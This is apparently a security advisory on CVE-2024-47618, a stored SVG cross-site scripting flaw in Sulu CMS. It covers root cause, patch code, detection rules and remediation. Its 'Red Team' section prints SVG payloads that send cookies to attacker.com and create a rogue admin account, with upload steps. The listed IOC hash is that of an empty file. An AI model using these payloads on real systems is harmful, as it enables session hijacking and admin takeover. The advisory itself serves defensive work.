CVE-2024-47618

Executive Summary

CVE-2024-47618 is a stored Cross-Site Scripting (XSS) vulnerability in the Sulu PHP content management system. A low-privileged user with access to the “Media” section can upload a malicious SVG file containing JavaScript. When other users (including administrators) view or access the uploaded SVG, the malicious script executes in their browser context. This can lead to session hijacking, data theft, or further compromise of the CMS backend. The vulnerability is fixed in Sulu version 2.6.5.

Supply Chain & Package Security

This vulnerability affects the Sulu PHP CMS, which is distributed via Composer. The risk is primarily to organizations using Sulu as their content management platform. The attack vector relies on user interaction (viewing the uploaded SVG) and requires an authenticated user with media upload privileges.

CVSS Breakdown & Threat Level

CVSS Score: 4.8 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The SVG file is uploaded and accessed over the network.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): Low – Attacker needs a low-privileged account with media upload access.
• User Interaction (UI): Required – Victim must view the uploaded SVG.
• Scope (S): Changed – The vulnerability impacts the victim’s browser, not the server directly.
• Confidentiality (C): Low – Potential to steal session tokens or sensitive data.
• Integrity (I): Low – Potential to modify content or perform actions on behalf of the victim.
• Availability (A): None – No direct impact on availability.

Threat Level: Medium. The requirement for user interaction and low privileges reduces the immediate risk, but the potential for privilege escalation via admin session hijacking increases the severity.

Deep Dive & Mechanics

The vulnerability resides in the media upload functionality of Sulu. The application does not properly sanitize SVG files during upload. An attacker can craft an SVG file containing embedded JavaScript, such as:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    alert('XSS');
  </script>
</svg>

When the SVG is rendered in a browser (e.g., via an <img> tag or direct access), the script executes. The attack flow:

1. Attacker logs in with low-privileged credentials.
2. Attacker navigates to the Media section and uploads the malicious SVG.
3. Victim (admin or other user) views the media library or directly accesses the SVG URL.
4. The malicious script executes in the victim’s browser, potentially stealing cookies, performing actions on behalf of the victim, or defacing the site.

The root cause is the lack of input validation and sanitization for SVG files, which can contain executable scripts.

Vulnerable vs. Patched Code

Vulnerable Code (Sulu < 2.6.5): The file upload handler does not strip script tags or event handlers from SVG files. The uploaded SVG is stored and served as-is.

// Vulnerable: No sanitization of SVG content
public function uploadAction(Request $request) {
    $file = $request->files->get('file');
    // ... file handling logic ...
    $this->mediaManager->save($file, $collection);
}

Patched Code (Sulu >= 2.6.5): The patch introduces sanitization of SVG files, removing <script> tags and event handler attributes (e.g., onload, onclick).

// Patched: SVG content is sanitized
public function uploadAction(Request $request) {
    $file = $request->files->get('file');
    if ($file->getMimeType() === 'image/svg+xml') {
        $sanitizedContent = $this->svgSanitizer->sanitize(file_get_contents($file->getPathname()));
        file_put_contents($file->getPathname(), $sanitizedContent);
    }
    $this->mediaManager->save($file, $collection);
}

The svgSanitizer removes all <script> elements and event handler attributes, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Sulu instance (version < 2.6.5) with a low-privileged user account that has media upload permissions.
• Access to the Media section.

Steps:

1. Craft Malicious SVG: Create an SVG file with a payload that steals cookies or performs admin actions.

   <?xml version="1.0" encoding="UTF-8"?>
   <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
     <script type="text/javascript">
       fetch('https://attacker.com/steal?cookie=' + document.cookie);
     </script>
   </svg>
   

2. Upload SVG:

   • Log in as the low-privileged user.
   • Navigate to Media > Upload.
   • Select the malicious SVG file and upload.

3. Trigger Execution:

   • Share the direct URL of the uploaded SVG with an admin user (e.g., via a link or by embedding it in a page).
   • When the admin views the SVG, the script executes, sending their cookies to the attacker.

Alternative Payload (Admin Actions):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    // Create a new admin user
    fetch('/admin/api/users', {
      method: 'POST',
      headers: {'Content-Type': 'application/json'},
      body: JSON.stringify({username: 'attacker', password: 'P@ssw0rd!', role: 'admin'})
    });
  </script>
</svg>

Blue Team (Detection & Prevention)

Detection:

• Monitor for SVG file uploads with suspicious content (e.g., <script> tags).
• Use WAF rules to block SVG files containing JavaScript.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Prevention:

• Apply the patch to upgrade to Sulu 2.6.5 or later.
• Restrict media upload permissions to trusted users only.
• Use a dedicated SVG sanitizer library (e.g., enshrined/svg-sanitize for PHP).

Lab Setup for Testing:

1. Deploy a vulnerable Sulu instance (e.g., using Docker).
2. Create a low-privileged user with media upload rights.
3. Upload a test SVG with a benign payload (e.g., alert('XSS')).
4. Verify that the script executes when viewed by an admin.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example malicious SVG)
• Network Traffic:
  • Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com/steal?cookie=...).
• Log Entries:
  • Suspicious SVG uploads in Sulu media logs.
  • Unexpected admin actions (e.g., user creation) from non-admin IPs.
• File Patterns:
  • SVG files containing <script> tags or event handlers (e.g., onload, onclick).

Detection Engineering

YARA Rule

rule CVE_2024_47618_Sulu_SVG_XSS {
    meta:
        description = "Detects malicious SVG files targeting CVE-2024-47618"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-47618"
    strings:
        $svg_header = "<?xml" nocase
        $svg_tag = "<svg" nocase
        $script_tag = "<script" nocase
        $event_handler = /on\w+\s*=/ nocase
    condition:
        $svg_header and $svg_tag and ($script_tag or $event_handler)
}

Sigma Rule

title: Sulu SVG XSS Upload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of SVG files with embedded scripts in Sulu CMS
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: sulu
detection:
    selection:
        http.method: POST
        http.url: '/admin/api/media*'
        http.content_type: 'image/svg+xml'
        http.body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate SVG files with scripts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47618 Sulu SVG XSS Upload"; flow:to_server,established; content:"POST"; http_method; content:"/admin/api/media"; http_uri; content:"image/svg+xml"; http_content_type; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Sulu: Update to version 2.6.5 or later.
2. Restrict Media Permissions: Limit media upload access to trusted users only.
3. Implement CSP: Add Content Security Policy headers to block inline scripts.

Long-Term Measures:

• Input Validation: Sanitize all uploaded files, especially SVGs.
• Regular Audits: Review user permissions and media upload logs.
• WAF Rules: Deploy web application firewall rules to block malicious SVG uploads.

Workaround (if patching is not possible):

• Disable SVG uploads entirely in the Sulu configuration.
• Use a reverse proxy to inspect and block SVG files containing scripts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert